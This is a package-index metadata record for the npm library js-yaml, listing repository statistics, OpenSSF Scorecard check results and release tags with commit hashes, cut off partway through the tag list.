{"id":1905141,"name":"js-yaml","ecosystem":"npm","description":"YAML 1.2 parser and serializer","homepage":"https://github.com/nodeca/js-yaml#readme","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/nodeca/js-yaml","keywords_array":["yaml","parser","serializer","pyyaml"],"namespace":null,"versions_count":91,"first_release_published_at":"2011-11-02T01:56:04.988Z","latest_release_published_at":"2026-09-13T00:15:39.365Z","latest_release_number":"5.4.2","last_synced_at":"2026-09-21T15:57:37.182Z","created_at":"2022-04-09T18:09:26.008Z","updated_at":"2026-09-22T07:17:45.004Z","registry_url":"https://www.npmjs.com/package/js-yaml","install_command":"npm install js-yaml","documentation_url":null,"metadata":{"funding":[{"url":"https://github.com/sponsors/puzrin","type":"github"},{"url":"https://github.com/sponsors/nodeca","type":"github"}],"dist-tags":{"latest":"5.4.2","v4-legacy":"4.3.2","v3-legacy":"3.15.2"},"contentPolicy":null},"repo_metadata":{"id":1734487,"uuid":"2504175","full_name":"nodeca/js-yaml","owner":"nodeca","description":"JavaScript YAML parser and dumper. Very fast.","archived":false,"fork":false,"pushed_at":"2026-09-13T00:12:51.000Z","size":4833,"stargazers_count":6630,"open_issues_count":4,"forks_count":852,"subscribers_count":76,"default_branch":"master","last_synced_at":"2026-09-17T21:27:25.819Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"http://nodeca.github.io/js-yaml/","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"kazuho/picojson","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/nodeca.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":".github/funding.json","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":"support/build-dist.mjs","governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{}},"created_at":"2011-10-03T11:40:25.000Z","updated_at":"2026-09-17T17:33:53.000Z","dependencies_parsed_at":"2026-08-27T09:40:43.665Z","dependency_job_id":null,"html_url":"https://github.com/nodeca/js-yaml","commit_stats":{"total_commits":1209,"total_committers":79,"mean_commits":15.30379746835443,"dds":0.6658395368072787,"last_synced_commit":"0d3ca7a27b03a6c974790a30a89e456007d62976"},"previous_names":[],"tags_count":92,"template":false,"template_full_name":null,"purl":"pkg:github/nodeca/js-yaml","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nodeca","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/sbom","scorecard":{"id":692310,"data":{"date":"2025-08-11","repo":{"name":"github.com/nodeca/js-yaml","commit":"0d3ca7a27b03a6c974790a30a89e456007d62976"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4.8,"checks":[{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Code-Review","score":1,"reason":"Found 4/30 approved changesets -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: JavaScriptPropertyBasedTesting integration found: test/25-dumper-fuzzy.js:4","Info: JavaScriptPropertyBasedTesting integration found: test/25-dumper-fuzzy.js:4"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:19: update your workflow using https://app.stepsecurity.io/secureworkflow/nodeca/js-yaml/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:22: update your workflow using https://app.stepsecurity.io/secureworkflow/nodeca/js-yaml/ci.yml/master?enable=pin","Warn: npmCommand not pinned by hash: .github/workflows/ci.yml:27","Info:   0 out of   2 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: github.com/nodeca/.github/SECURITY.md:1","Info: Found linked content: github.com/nodeca/.github/SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: github.com/nodeca/.github/SECURITY.md:1","Info: Found text in security policy: github.com/nodeca/.github/SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 4 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T02:34:20.712Z","repository_id":1734487,"created_at":"2025-08-22T02:34:20.712Z","updated_at":"2025-08-22T02:34:20.712Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":341189360,"owners_count":37407767,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-22T15:14:58.755Z","status":"online","status_checked_at":"2026-09-17T02:00:07.197Z","response_time":111,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"nodeca","name":"Nodeca","uuid":"723678","kind":"organization","description":"rcopen.com sources and node.js libraries","email":null,"website":"https://rcopen.com","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/723678?v=4","repositories_count":48,"last_synced_at":"2024-10-29T17:10:26.696Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/nodeca","funding_links":["https://github.com/sponsors/nodeca"],"total_stars":18837,"followers":70,"following":0,"created_at":"2022-11-02T16:18:53.974Z","updated_at":"2024-10-29T17:10:26.697Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nodeca","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nodeca/repositories"},"tags":[{"name":"3.15.2","sha":"5c45bd6e960603c13644f5cc8b572ca257723b36","kind":"commit","published_at":"2026-08-26T20:50:16.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.15.2","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.15.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.15.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.15.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.15.2/manifests"},{"name":"4.3.2","sha":"79ca68d90f333fbe6d9e42827527e62636200191","kind":"commit","published_at":"2026-08-26T20:39:09.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/4.3.2","html_url":"https://github.com/nodeca/js-yaml/releases/tag/4.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@4.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/4.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/4.3.2/manifests"},{"name":"5.4.1","sha":"e5a3ba0efee53629b979f784cd53736f89ea61b6","kind":"commit","published_at":"2026-08-26T19:15:54.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/5.4.1","html_url":"https://github.com/nodeca/js-yaml/releases/tag/5.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@5.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/5.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/5.4.1/manifests"},{"name":"5.4.0","sha":"6b4ff5e92474186b0c0381021ba4120f883c1995","kind":"commit","published_at":"2026-08-25T06:55:27.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/5.4.0","html_url":"https://github.com/nodeca/js-yaml/releases/tag/5.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@5.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/5.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/5.4.0/manifests"},{"name":"5.3.0","sha":"04db45830b9ef92454b409eca80ec80ae9b2701a","kind":"commit","published_at":"2026-08-14T09:10:27.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/5.3.0","html_url":"https://github.com/nodeca/js-yaml/releases/tag/5.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@5.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/5.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/5.3.0/manifests"},{"name":"5.2.3","sha":"6740445e7bf0ec701f14226e1dfa7ef50f7068cc","kind":"commit","published_at":"2026-08-01T06:18:48.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/5.2.3","html_url":"https://github.com/nodeca/js-yaml/releases/tag/5.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@5.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/5.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/5.2.3/manifests"},{"name":"3.15.1","sha":"ab85ae2c622bc6d8cdbceccafe9f9b7df80463ed","kind":"commit","published_at":"2026-07-31T17:46:30.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.15.1","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.15.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.15.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.15.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.15.1/manifests"},{"name":"4.3.1","sha":"86e91b815b8794c3c73a179c1770871e37ec2df8","kind":"commit","published_at":"2026-07-31T17:35:14.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/4.3.1","html_url":"https://github.com/nodeca/js-yaml/releases/tag/4.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@4.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/4.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/4.3.1/manifests"},{"name":"5.2.2","sha":"3c2955942ef3a8c4b1e3cb9a5e64ba38012360ea","kind":"commit","published_at":"2026-07-23T22:52:00.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/5.2.2","html_url":"https://github.com/nodeca/js-yaml/releases/tag/5.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@5.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/5.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/5.2.2/manifests"},{"name":"5.2.1","sha":"ac16b42c46c11c5c7f66062bfc78b168b5f07ecd","kind":"commit","published_at":"2026-07-02T00:49:13.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/5.2.1","html_url":"https://github.com/nodeca/js-yaml/releases/tag/5.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@5.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/5.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/5.2.1/manifests"},{"name":"3.15.0","sha":"c34b6c40027a769eb0d67958ae615268a1d55f54","kind":"commit","published_at":"2026-06-26T23:09:37.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.15.0","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.15.0/manifests"},{"name":"4.3.0","sha":"33d05b5d29a8c21360f620f7e1c1706e24522eda","kind":"commit","published_at":"2026-06-26T22:21:51.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/4.3.0","html_url":"https://github.com/nodeca/js-yaml/releases/tag/4.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@4.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/4.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/4.3.0/manifests"},{"name":"5.2.0","sha":"c28ed5ec1aa66a37b8202e17d0caa122922a1b00","kind":"commit","published_at":"2026-06-26T20:03:35.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/5.2.0","html_url":"https://github.com/nodeca/js-yaml/releases/tag/5.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@5.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/5.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/5.2.0/manifests"},{"name":"5.1.0","sha":"f1e45cd201de162cc388a5175717eddf0743d367","kind":"commit","published_at":"2026-06-22T21:59:11.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/5.1.0","html_url":"https://github.com/nodeca/js-yaml/releases/tag/5.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@5.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/5.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/5.1.0/manifests"},{"name":"5.0.0","sha":"75148bc4f5eb69b3d338e1c355d8bb2dba5bdf34","kind":"commit","published_at":"2026-06-20T17:19:11.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/5.0.0","html_url":"https://github.com/nodeca/js-yaml/releases/tag/5.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@5.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/5.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/5.0.0/manifests"},{"name":"4.2.0","sha":"590dbabadd172b099c07654fab2eabec8c7a07b9","kind":"commit","published_at":"2026-05-31T22:14:07.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/4.2.0","html_url":"https://github.com/nodeca/js-yaml/releases/tag/4.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@4.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/4.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/4.2.0/manifests"},{"name":"3.14.2","sha":"9963d366dfbde0c69722452bcd40b41e7e4160a0","kind":"commit","published_at":"2025-11-14T22:30:07.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.14.2","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.14.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.14.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.14.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.14.2/manifests"},{"name":"4.1.1","sha":"cc482e775913e6625137572a3712d2826170e53a","kind":"commit","published_at":"2025-11-12T15:16:01.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/4.1.1","html_url":"https://github.com/nodeca/js-yaml/releases/tag/4.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@4.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/4.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/4.1.1/manifests"},{"name":"4.1.0","sha":"2cef47bebf60da141b78b085f3dea3b5733dcc12","kind":"commit","published_at":"2021-04-14T21:04:50.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/4.1.0","html_url":"https://github.com/nodeca/js-yaml/releases/tag/4.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@4.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/4.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/4.1.0/manifests"},{"name":"4.0.0","sha":"ee74ce4b4800282b2f23b776be7dc95dfe34db1c","kind":"commit","published_at":"2021-01-03T13:48:22.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/4.0.0","html_url":"https://github.com/nodeca/js-yaml/releases/tag/4.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@4.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/4.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/4.0.0/manifests"},{"name":"3.14.1","sha":"37caaad57dc37d350d9a4577a5da53f482bb2983","kind":"commit","published_at":"2020-12-07T19:17:20.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.14.1","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.14.1/manifests"},{"name":"3.14.0","sha":"34e5072f43fd36b08aaaad433da73c10d47c41e5","kind":"commit","published_at":"2020-05-22T18:27:48.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.14.0","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.14.0/manifests"},{"name":"3.13.1","sha":"665aadda42349dcae869f12040d9b10ef18d12da","kind":"commit","published_at":"2019-04-05T16:13:53.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.13.1","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.13.1/manifests"},{"name":"3.13.0","sha":"9d4ce5e2895365c943d2bdf7e7c8ac1be3ec51a3","kind":"commit","published_at":"2019-03-20T19:13:29.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.13.0","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.13.0/manifests"},{"name":"3.12.2","sha":"e4267fc733452d074a3e494fb5cab2a07c7e6b87","kind":"commit","published_at":"2019-02-26T14:59:39.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.12.2","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.12.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.12.2/manifests"},{"name":"3.12.1","sha":"b6d260927b875404eac8b5e610f41d2f8fbe2425","kind":"commit","published_at":"2019-01-05T09:18:53.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.12.1","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.12.1/manifests"},{"name":"3.12.0","sha":"5cdad9bd27ad97627b21f0111ca3f125fe618acd","kind":"commit","published_at":"2018-06-01T22:47:36.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.12.0","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.12.0/manifests"},{"name":"3.11.0","sha":"f2bb20759284e1af69aeea0fe11daf5f96a33e03","kind":"commit","published_at":"2018-03-05T15:47:31.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.11.0","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.11.0/manifests"},{"name":"3.10.0","sha":"42e7fcccf10c74fe157b1f8eb9d73c1c25c3c259","kind":"commit","published_at":"2017-09-11T08:13:31.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.10.0","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@3.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/3.10.0/manifests"},{"name":"3.9.1","sha":"82945a758526197ba023ed299d5b537823231002","kind":"commit","published_at":"2017-07-30T07:31:06.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/3.9.1","html_url":"https://github.com/nodeca/js-yaml/releases/tag/3.9.1","dependencies_parsed_